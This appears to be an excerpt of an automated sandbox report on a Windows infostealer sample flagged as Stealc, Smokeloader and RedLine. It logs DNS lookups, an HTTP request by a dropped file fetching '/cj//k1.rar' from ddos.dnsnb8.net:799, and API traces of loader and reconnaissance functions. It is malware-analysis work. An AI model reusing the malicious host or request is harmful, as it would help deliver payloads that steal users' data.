Jul 26, 2024 02:51:31.550494909 CEST	192.168.2.8	1.1.1.1	0x495f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:51:33.550628901 CEST	192.168.2.8	1.1.1.1	0x495f	Standard query (0)	ddos.dnsnb8.net	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 02:51:33.562335014 CEST	1.1.1.1	192.168.2.8	0x495f	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:51:33.562350988 CEST	1.1.1.1	192.168.2.8	0x495f	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:51:33.562361002 CEST	1.1.1.1	192.168.2.8	0x495f	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false
Jul 26, 2024 02:51:33.562371016 CEST	1.1.1.1	192.168.2.8	0x495f	No error (0)	ddos.dnsnb8.net	44.221.84.105	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ddos.dnsnb8.net:799

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	44.221.84.105	799	7496	C:\Users\user\AppData\Local\Temp\WuiXLS.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 02:51:33.585599899 CEST	288	OUT	GET /cj//k1.rar HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ddos.dnsnb8.net:799 Connection: Keep-Alive

Target ID:	0
Start time:	20:51:27
Start date:	25/07/2024
Path:	C:\Users\user\Desktop\7Y18r(193).exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7Y18r(193).exe"
Imagebase:	0x400000
File size:	217'088 bytes
MD5 hash:	3A085E2C496B3D2020401C3452B57AEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc_2, Description: Yara detected Stealc, Source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc_2, Description: Yara detected Stealc, Source: 00000000.00000003.1457369500.0000000002430000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc_2, Description: Yara detected Stealc, Source: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:51:27
Start date:	25/07/2024
Path:	C:\Users\user\AppData\Local\Temp\WuiXLS.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\WuiXLS.exe
Imagebase:	0x700000
File size:	15'872 bytes
MD5 hash:	F7D21DE5C4E81341ECCD280C11DDCC9A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:51:32
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7496 -s 1488
Imagebase:	0x140000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:51:34
Start date:	25/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7472 -s 528
Imagebase:	0x140000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	56.9%
Signature Coverage:	2.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	15

Executed Functions

Function 00412180 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,00880DD0), ref: 004121C1
GetProcAddress.KERNEL32(75550000,00880E08), ref: 004121DA
GetProcAddress.KERNEL32(75550000,00880E38), ref: 004121F2
GetProcAddress.KERNEL32(75550000,00880E70), ref: 0041220A
GetProcAddress.KERNEL32(75550000,00880EA8), ref: 00412223
GetProcAddress.KERNEL32(75550000,00880EE0), ref: 0041223B
GetProcAddress.KERNEL32(75550000,00880F08), ref: 00412253
GetProcAddress.KERNEL32(75550000,00880F50), ref: 0041226C
GetProcAddress.KERNEL32(75550000,00880F90), ref: 00412284
GetProcAddress.KERNEL32(75550000,00880FC8), ref: 0041229C
GetProcAddress.KERNEL32(75550000,00881000), ref: 004122B5
GetProcAddress.KERNEL32(75550000,00881038), ref: 004122CD
GetProcAddress.KERNEL32(75550000,008804B0), ref: 004122E5
GetProcAddress.KERNEL32(75550000,008804F0), ref: 004122FE
GetProcAddress.KERNEL32(75550000,00881270), ref: 00412316
GetProcAddress.KERNEL32(75550000,00881298), ref: 0041232E
GetProcAddress.KERNEL32(75550000,008812C8), ref: 00412347
GetProcAddress.KERNEL32(75550000,00880510), ref: 0041235F
GetProcAddress.KERNEL32(75550000,00880538), ref: 00412377
GetProcAddress.KERNEL32(75550000,00880570), ref: 00412390
GetProcAddress.KERNEL32(75550000,008857F0), ref: 004123A8
LoadLibraryA.KERNEL32(00885828,?,00410440), ref: 004123BA
LoadLibraryA.KERNEL32(00880598,?,00410440), ref: 004123CB
LoadLibraryA.KERNEL32(00885850,?,00410440), ref: 004123DD
LoadLibraryA.KERNELBASE(00885878,?,00410440), ref: 004123EF
LoadLibraryA.KERNEL32(008858A0,?,00410440), ref: 00412400
GetProcAddress.KERNEL32(75670000,008858C0), ref: 00412422
GetProcAddress.KERNEL32(75750000,008858E8), ref: 00412443
GetProcAddress.KERNEL32(75750000,00885908), ref: 0041245B
GetProcAddress.KERNEL32(76BE0000,00885930), ref: 0041247D
GetProcAddress.KERNEL32(759D0000,00885950), ref: 0041249E
GetProcAddress.KERNEL32(773F0000,00885988), ref: 004124BF
GetProcAddress.KERNEL32(773F0000,NtQueryInformationProcess), ref: 004124D6

Strings

NtQueryInformationProcess, xrefs: 004124CA

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: a6446af475f856057040de3f9c45a65888bee7be2fd0af68c1fc8b12d5e42eef
Instruction ID: 2b855f960e21fd0b6a67d09d83690fbde116cffe07640de17fe385095ce8f71f
Opcode Fuzzy Hash: a6446af475f856057040de3f9c45a65888bee7be2fd0af68c1fc8b12d5e42eef
Instruction Fuzzy Hash: 21A12BB55102409FC384DFA9EC88ADA77EBE78D701768E61BEA09C36A0DE359841CF54

Function 007BA044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 007BA223
WriteFile.KERNELBASE(00000000,FFC4DFFC,00003E00,?,00000000), ref: 007BA252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 007BA256
WinExec.KERNEL32(?,00000005), ref: 007BA262

Strings

lstr, xrefs: 007BA1A7
el32, xrefs: 007BA0FB
WinE, xrefs: 007BA110
Clos, xrefs: 007BA129
.dll, xrefs: 007BA102
WuiXLS.exe, xrefs: 007BA1FD, 007BA200
Kern, xrefs: 007BA0F4
odul, xrefs: 007BA22D
dleA, xrefs: 007BA0D0
GetT, xrefs: 007BA188
Crea, xrefs: 007BA169
catA, xrefs: 007BA1AF
athA, xrefs: 007BA199
GetM, xrefs: 007BA0B6
Writ, xrefs: 007BA148

Memory Dump Source

Source File: 00000000.00000002.1511336437.00000000007BA000.00000040.00000001.01000000.00000003.sdmp, Offset: 007BA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ba000_7Y18r(193).jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$WuiXLS.exe$athA$catA$dleA$el32$lstr$odul
API String ID: 2234911746-2764548048
Opcode ID: 86c1030d4f9e2b8ea241b1d992b15d5e3375bb5488e3fb8d4b65644e615d70b5
Instruction ID: a59056b2508f6d270b4221048e903345f4b06a29b703aa9d08c8a21bc38b8235
Opcode Fuzzy Hash: 86c1030d4f9e2b8ea241b1d992b15d5e3375bb5488e3fb8d4b65644e615d70b5
Instruction Fuzzy Hash: 85612874D0121DEBCF64DF98C984BEDB7B4BF54315F2482AAE405AB241C3789E81CB92

Function 00410360 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTime.KERNEL32(4HA,?,?,00410562,00000000,?,008859C8,?,00414834,?,00000000,?), ref: 004103AC
sscanf.NTDLL ref: 004103D9
SystemTimeToFileTime.KERNEL32(4HA,00000000,?,?,?,?,?,?,?,?,?,?,?,008859C8,?,00414834), ref: 004103F2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,008859C8,?,00414834), ref: 00410400
ExitProcess.KERNEL32 ref: 0041041A

Strings

4HA, xrefs: 004103A8, 004103EE, 004103AB, 004103F1

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: 4HA
API String ID: 2533653975-3847757909
Opcode ID: dece3023bcda19b2d979622ffeb509d4e92cd5aaab2d93c02f90c0a348cde40b
Instruction ID: 38bcd1f9b3be50fdaf38e9a9edd1f3871f0095c834be273fdbbfa22a262d8c3d
Opcode Fuzzy Hash: dece3023bcda19b2d979622ffeb509d4e92cd5aaab2d93c02f90c0a348cde40b
Instruction Fuzzy Hash: 7A21EAB5D14208AFCB04EFE4E845AEEB7B6FF48300F04856EE506A3250EB345648CB68

Function 004107D0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104,0041047C,00414682), ref: 004107DD
RtlAllocateHeap.NTDLL(00000000), ref: 004107E4
GetComputerNameA.KERNEL32(?,00000104), ref: 004107FC

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 480c2fa70fa46ef749b0ad9a2cea2b489044561edb8350ecda8cf0f58b79bf2e
Instruction ID: 6ad3a43f835fa594ef2b668d6339a37c016d9136f00cfcf8885baffc72510f62
Opcode Fuzzy Hash: 480c2fa70fa46ef749b0ad9a2cea2b489044561edb8350ecda8cf0f58b79bf2e
Instruction Fuzzy Hash: 42E048B4904208FFD700EFE4DD49BDD7BBDEB04301F148056EA05D3280DBB49A849755

Function 00410790 Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401157,008859E0,0041047C,00414682), ref: 0041079D
RtlAllocateHeap.NTDLL(00000000), ref: 004107A4
GetUserNameA.ADVAPI32(?,00000104), ref: 004107BC

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 937e87e3d1343579e2890d02c50287dfd1430cf33c95467ffc1631912f7c9db2
Instruction ID: 62a3c386001e156eb1dd6fb720cf38bb7be8a63b6e0cfa00a5a814fc280f9594
Opcode Fuzzy Hash: 937e87e3d1343579e2890d02c50287dfd1430cf33c95467ffc1631912f7c9db2
Instruction Fuzzy Hash: ABE0E6B594020CBFC740DFE4DD49ACDBBBDEB08301F144196EA45D3290DA7056448B51

Function 008E5D77 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 008E5D9F
Module32First.KERNEL32(00000000,00000224), ref: 008E5DBF

Memory Dump Source

Source File: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 008E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e2000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 9be8a861009f542c36315d6f26fa6441b232b5db39552310cf8255f85d0c3a15
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E3F09631200B556BD7203BFA9C8DBAE76E8FF4A728F100538F646D20C0DBB0EC454A61

Function 00410430 Relevance: 12.1, APIs: 8, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880DD0), ref: 004121C1
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880E08), ref: 004121DA
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880E38), ref: 004121F2
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880E70), ref: 0041220A
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880EA8), ref: 00412223
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880EE0), ref: 0041223B
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880F08), ref: 00412253
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880F50), ref: 0041226C
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880F90), ref: 00412284
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00880FC8), ref: 0041229C
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00881000), ref: 004122B5
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,00881038), ref: 004122CD
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,008804B0), ref: 004122E5
Part of subcall function 00412180: GetProcAddress.KERNEL32(75550000,008804F0), ref: 004122FE

Part of subcall function 00412FF0: lstrcpy.KERNEL32(00414682,00000000), ref: 00413038

ExitProcess.KERNEL32 ref: 00410458
GetUserDefaultLangID.KERNELBASE ref: 00410477
OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008859C8,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 0041051B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00410539
CloseHandle.KERNEL32(?,00000000,?,008859C8,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 0041056B
ExitProcess.KERNEL32 ref: 00410573

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AddressProc$EventExitProcess$CloseCreateDefaultHandleLangOpenUserlstrcpy
String ID:
API String ID: 1959285754-0
Opcode ID: 6517d3138269d14e120e1c3bed66e1ae4be7545d0679ea862cc0bb667e130bbb
Instruction ID: d4afb3438832cf5cad8627414314604812863dbfbc7a654f21b67f6263b1a6d7
Opcode Fuzzy Hash: 6517d3138269d14e120e1c3bed66e1ae4be7545d0679ea862cc0bb667e130bbb
Instruction Fuzzy Hash: 1B318070900208AACB04FBF1DC56BEE7379AF08305F14412FF112A61D1DF7C5A848A6E

Function 0089003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0089024D

Strings

kernel32.dll, xrefs: 0089008F, 00890095
cess, xrefs: 0089018D

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 1f131b03efb52d8d2cb776e081289fe3a7e0bf253f2524d73c33877c8b79cae2
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 5C526974A01229DFDB64CF98C984BA8BBB1BF09314F1480D9E54DAB351DB30AE85DF15

Function 00410544 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,008859C8,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 0041051B
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00410539
CloseHandle.KERNEL32(00000000), ref: 0041054A
Sleep.KERNEL32(00001770), ref: 00410555
CloseHandle.KERNEL32(?,00000000,?,008859C8,?,00414834,?,00000000,?,00414838,?,00000000,00414682), ref: 0041056B
ExitProcess.KERNEL32 ref: 00410573

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e403f8ffbb91593beead32c91cec5554c3c6bf1e1477261f753fe489317f82a5
Instruction ID: 09006b0c0d094d90b807d966d12cc723470bc1340685d3f592327e246f0b06a7
Opcode Fuzzy Hash: e403f8ffbb91593beead32c91cec5554c3c6bf1e1477261f753fe489317f82a5
Instruction Fuzzy Hash: E0F05E70940219BFE710EBA0DC4ABFE7276AB04701F24561BB512A21D1DFF856C1CE6A

Function 004010B0 Relevance: 4.5, APIs: 3, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,0041046D), ref: 004010CB
VirtualAllocExNuma.KERNELBASE(00000000,?,?,0041046D), ref: 004010D2
ExitProcess.KERNEL32 ref: 004010E3

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 02f01bea4ca8033e23f9450e388b7e8141895c992345e94fa4242c0d06c86fb7
Instruction ID: a6aaf47c391cb192c0c5c3f1db6919c13433da3f39274503cfdd87793102492c
Opcode Fuzzy Hash: 02f01bea4ca8033e23f9450e388b7e8141895c992345e94fa4242c0d06c86fb7
Instruction Fuzzy Hash: 5EE0CD70985308FFE7105BD1DC4EB4D76B8DB00B15F205056F708B75D0CAB82940469C

Function 00890E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00890223,?,?), ref: 00890E19
SetErrorMode.KERNELBASE(00000000,?,?,00890223,?,?), ref: 00890E1E

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: e153f05878e9c0a74f13e5799d4f8d311248a5422619a5405020419e5db8524d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 26D0123514512877DB003A94DC09BCD7B1CDF05B62F048411FB0DD9080C770994046E5

Function 00401040 Relevance: 2.5, APIs: 2, Instructions: 41
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,004010EE,?,?,0041046D), ref: 00401053
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,004010EE,?,?,0041046D), ref: 00401097

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 2127c79f024b7626c24b81512452acd09f02aa6690b884efd6c8790533b1e997
Instruction ID: 012b993cb448760cb48d5cdc1528a6a66ba78387253dacbad9f7badd6063d305
Opcode Fuzzy Hash: 2127c79f024b7626c24b81512452acd09f02aa6690b884efd6c8790533b1e997
Instruction Fuzzy Hash: AAF0E271681308BBE7149BB4AC59FAFB398A705B45F304859FA44E3290D5719E0086A4

Function 00403810 Relevance: 2.5, APIs: 2, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00403837
malloc.MSVCRT ref: 00403862

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: f4314c0d61d3668132984408b610dbaf50f4d41d13c4530c7f71ebed696481c3
Instruction ID: b4e7f847ca15252535ac621e6aec1c0ad60fe03609a2dc74cb973100ed748bc2
Opcode Fuzzy Hash: f4314c0d61d3668132984408b610dbaf50f4d41d13c4530c7f71ebed696481c3
Instruction Fuzzy Hash: 17F0F4F5D10108BBCB00EFA5EC469DEB778AF44344F004179FA0AA7251FA35AB148BD5

Function 00401130 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004107D0: GetProcessHeap.KERNEL32(00000000,00000104,0041047C,00414682), ref: 004107DD
Part of subcall function 004107D0: RtlAllocateHeap.NTDLL(00000000), ref: 004107E4
Part of subcall function 004107D0: GetComputerNameA.KERNEL32(?,00000104), ref: 004107FC

Part of subcall function 00410790: GetProcessHeap.KERNEL32(00000000,00000104,00401157,008859E0,0041047C,00414682), ref: 0041079D
Part of subcall function 00410790: RtlAllocateHeap.NTDLL(00000000), ref: 004107A4
Part of subcall function 00410790: GetUserNameA.ADVAPI32(?,00000104), ref: 004107BC

ExitProcess.KERNEL32 ref: 00401166

Memory Dump Source

Source File: 00000000.00000002.1511164621.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1511164621.0000000000618000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511164621.000000000062A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 5dfcc54ffe1d84541331d60e85deac2731487983c969969cd2bbe61fc7e4cd1a
Instruction ID: 009d718b1f3313d18a5447f6fd2ac7483f7ff0e3748da63a0536e0034ff0befe
Opcode Fuzzy Hash: 5dfcc54ffe1d84541331d60e85deac2731487983c969969cd2bbe61fc7e4cd1a
Instruction Fuzzy Hash: 6EE0EC75D003005ADA0477B67C46BA7329D5B1476EF08142BBA09D76A2ED79F88046A9

Function 008E5A36 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 008E5A87

Memory Dump Source

Source File: 00000000.00000002.1511687586.00000000008E2000.00000040.00000020.00020000.00000000.sdmp, Offset: 008E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8e2000_7Y18r(193).jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 407d6f7bb01569ab80105a782e4e1c1c5b307a9889183e7b8603cfd879d4ba76
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5E112B79A00208EFDB01DF99C985E98BBF5EF08350F0580A5F9489B362D371EA50DB80

Non-executed Functions

Function 008988D7 Relevance: 10.6, APIs: 7, Instructions: 93stringencryptionCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089890A
lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00898928
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00898933
memcpy.MSVCRT ref: 008989C9
lstrcat.KERNEL32(?,004146BB), ref: 008989FA
lstrcat.KERNEL32(?,004146BE), ref: 00898A0E
lstrcat.KERNEL32(?,004146BF), ref: 00898A2F

Memory Dump Source

Source File: 00000000.00000002.1511542856.0000000000890000.00000040.00001000.00020000.00000000.sdmp, Offset: 00890000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_890000_7Y18r(193).jbxd

Yara matches

Similarity

